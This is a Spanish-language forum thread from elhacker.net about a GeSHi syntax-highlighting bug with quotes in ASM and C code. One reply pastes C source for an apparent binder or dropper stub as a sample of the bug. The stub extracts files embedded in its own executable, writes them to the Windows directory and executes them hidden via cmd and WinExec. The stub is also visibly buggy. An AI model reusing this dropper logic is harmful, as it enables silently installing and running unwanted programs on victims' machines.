Foro de elhacker.net

Foros Generales => Sugerencias y dudas sobre el Foro => Mensaje iniciado por: YST en 28 Junio 2009, 01:11 am



Título: Error en geshi [ASM]
Publicado por: YST en 28 Junio 2009, 01:11 am
Hola ,

Si uno usa el geshi de ASM y pone por ejemplo una caomilla simple dentro de dos comillas dobles te pone todo el code como si fuera dentro de esa comilla no se si se me entiende
http://foro.elhacker.net/asm/recopilacion_de_mis_codigos-t256657.0.html;msg1256520#msg1256520

PD : Creo que ese es el error pero no estoy seguro :P


Título: Re: Error en geshi [ASM]
Publicado por: Karcrack en 28 Junio 2009, 01:17 am
Yo el problema lo veo aqui:
Citar
invoke ExitProcess,0'

Asi queda sin poner esa comilla simple al final de la linea:
Código
  1. include 'win32ax.inc'
  2. .data
  3. dString db "i'm a string",0
  4. .code
  5. start:
  6. stdcall fRight,dString,9
  7. invoke MessageBox,0,eax,0,0
  8. invoke ExitProcess,0
  9. ;Funcion que emula la funcion Right de Visual Basic 6
  10. proc fRight,pString,pLen
  11. push esi ebx  edi ecx
  12. mov eax,[pLen]
  13. inc eax
  14. invoke GlobalAlloc,GPTR, eax
  15. mov esi,eax
  16. mov ebx,eax
  17. stdcall Len,[pString]
  18. sub eax,[pLen]
  19. mov edi,[pString]
  20. add edi,eax
  21. .bucle_:
  22. cmp [pLen] ,0
  23. je .exit
  24. mov cl,byte[edi]
  25. mov byte[ebx],cl
  26. inc ebx
  27. inc edi
  28. dec [pLen]
  29. jmp .bucle_
  30. .exit:
  31. mov eax,esi
  32. pop ecx edi ebx esi
  33. ret
  34. endp
  35. proc Len,cCadena   ;Funcion que mide la cadena
  36. push ecx edi
  37. mov ecx,-1
  38. mov edi,[cCadena]
  39. mov al,0
  40. repnz scasb
  41. mov eax,ecx
  42. not eax
  43. dec eax
  44. pop edi ecx
  45. ret
  46. endp
  47. .end start


Título: Re: Error en geshi [ASM]
Publicado por: Krackwar ™ en 28 Junio 2009, 04:24 am
YST, eso a veces pasa cuando uno no duerme mas de 2 horas por dia :xD


Título: Re: Error en geshi [ASM]
Publicado por: YST en 28 Junio 2009, 06:11 am
YST, eso a veces pasa cuando uno no duerme mas de 2 horas por dia :xD
jajaja , pero sigue siendo bug ya que el FASM lo compila de igual manera :P


Título: Re: Error en geshi [ASM]
Publicado por: [Zero] en 28 Junio 2009, 18:57 pm
 :xD :xD :xD :xD :xD :xD :xD :xD :xD :xD :xD :xD :xD

Krackwar ha vuelto  :o  ;D. Con código en C también hay un bug parecido, no se en que post tuve que poner comentarios con comillas para arreglarlo  :P.

Saludos

Edito: lo encontré, falla al intentar escapar una barra: "\\":

Código
  1. [code=c]
  2. #pragma optimize("gsy", on)
  3. #include <windows.h>
  4.  
  5. typedef DWORD (WINAPI *_RtlDecompressBuffer)(IN ULONG CompressionFormat,OUT PVOID DestinationBuffer,IN ULONG DestinationBufferLength,
  6. IN PVOID SourceBuffer,IN ULONG SourceBufferLength,OUT PULONG pDestinationSize );
  7.  
  8. typedef VOID (WINAPI *_CopyMemory)(PVOID Destination,CONST VOID *Source,SIZE_T Length);
  9.  
  10. DWORD dwBytes;
  11.  
  12. VOID SaveFileToDisk(LPSTR nFileName,LPSTR lpFileMaped,DWORD FileSize)
  13. {
  14. HANDLE hSFTD=CreateFile(nFileName,GENERIC_READ+GENERIC_WRITE,0,0,CREATE_ALWAYS,0,0);
  15. WriteFile(hSFTD,lpFileMaped,FileSize,&dwBytes,0);
  16. CloseHandle(hSFTD);
  17. }
  18.  
  19. LPSTR DecompressBuffer(LPSTR lpBuffer,DWORD szBuffer,LPDWORD dwSizeOut )
  20. {
  21.   _RtlDecompressBuffer miRtlDecompressBuffer;
  22.  
  23.   LPSTR szRet=(LPSTR)GlobalAlloc(GPTR,16*szBuffer);
  24.  
  25.   miRtlDecompressBuffer=(_RtlDecompressBuffer)GetProcAddress((HINSTANCE)LoadLibraryA("NTDLL.DLL"),"RtlDecompressBuffer");
  26.  
  27.   miRtlDecompressBuffer(COMPRESSION_FORMAT_LZNT1,szRet,16*szBuffer,lpBuffer,szBuffer,dwSizeOut);
  28.  
  29.   return szRet;
  30. }
  31.  
  32. void main()
  33. {
  34. _CopyMemory miCopyMemory=NULL;
  35. miCopyMemory=(_CopyMemory)GetProcAddress(GetModuleHandle("KERNEL32.DLL"),"RtlMoveMemory");
  36.  
  37. DWORD szSubFile;
  38. LPSTR ext=(LPSTR)GlobalAlloc(GPTR,3);
  39. DWORD Seek=0;
  40. LPSTR lpFile=NULL;
  41.  
  42. LPSTR AppName=(LPSTR)GlobalAlloc(GPTR,MAX_PATH);
  43. GetModuleFileName(0,AppName,MAX_PATH);
  44.  
  45. HANDLE hFile=CreateFile(AppName,GENERIC_READ,0,0,OPEN_EXISTING,0,0);
  46. DWORD szFile=GetFileSize(hFile,0);
  47. LPSTR FileBuffer=(LPSTR)GlobalAlloc(GPTR,szFile);
  48. ReadFile(hFile,FileBuffer,szFile,&dwBytes,0);
  49.  
  50. DWORD StubSize=0x640;
  51.  
  52. LPSTR WinPath=(LPSTR)GlobalAlloc(GPTR,MAX_PATH);
  53. GetWindowsDirectory(WinPath,MAX_PATH);
  54.  
  55. DWORD NumArchivos;
  56. miCopyMemory(&NumArchivos,&FileBuffer[StubSize],4);
  57.  
  58. Seek=4;
  59. for(DWORD i=0;i<NumArchivos;i++)
  60. {
  61. //Obtenemos el peso del archivo
  62. miCopyMemory(&szSubFile,&FileBuffer[StubSize+Seek],4);
  63.  
  64. //Obtenemos la extensión
  65. miCopyMemory(&ext[0],&FileBuffer[StubSize+Seek+4],3);
  66.  
  67. //Leemos el archivo
  68. lpFile=(LPSTR)GlobalAlloc(GPTR,szSubFile);
  69. miCopyMemory(&lpFile[0],&FileBuffer[StubSize+Seek+7],szSubFile);
  70.  
  71. //Lo descomprimimos
  72. DWORD szDecompressedFile;
  73. LPSTR lpDecompressedFile=DecompressBuffer(lpFile,szSubFile,&szDecompressedFile);
  74.  
  75. //Generamos la ruta
  76. LPSTR Path=(LPSTR)GlobalAlloc(GPTR,MAX_PATH);
  77. lstrcat(Path,WinPath);
  78. lstrcat(Path,"\\"); //" //Ta mal geshi ¬¬
  79. LPSTR fName=NULL;
  80. for(DWORD z=0;z<i+1;z++)
  81. {
  82. lstrcat(fName,"A");
  83. }
  84. lstrcat(Path,fName);
  85. lstrcat(Path,".");
  86. lstrcat(Path,ext);
  87.  
  88. //Lo guardamos en WinPath
  89. SaveFileToDisk(Path,lpDecompressedFile,szDecompressedFile);
  90.  
  91. LPSTR Archivo=(LPSTR)GlobalAlloc(GPTR,MAX_PATH);
  92. lstrcat(Archivo,"cmd /d /c \"");
  93. lstrcat(Archivo,WinPath);
  94. lstrcat(Archivo,"\\"); //" //Ta mal geshi ¬¬
  95. lstrcat(Archivo,fName);
  96. lstrcat(Archivo,".");
  97. lstrcat(Archivo,ext);
  98. lstrcat(Archivo,"\"");
  99.  
  100. WinExec(Archivo,SW_HIDE);
  101.  
  102. Seek=Seek+11+szSubFile;
  103.  
  104. }
  105. CloseHandle(hFile);
  106. }
  107.  
[/code]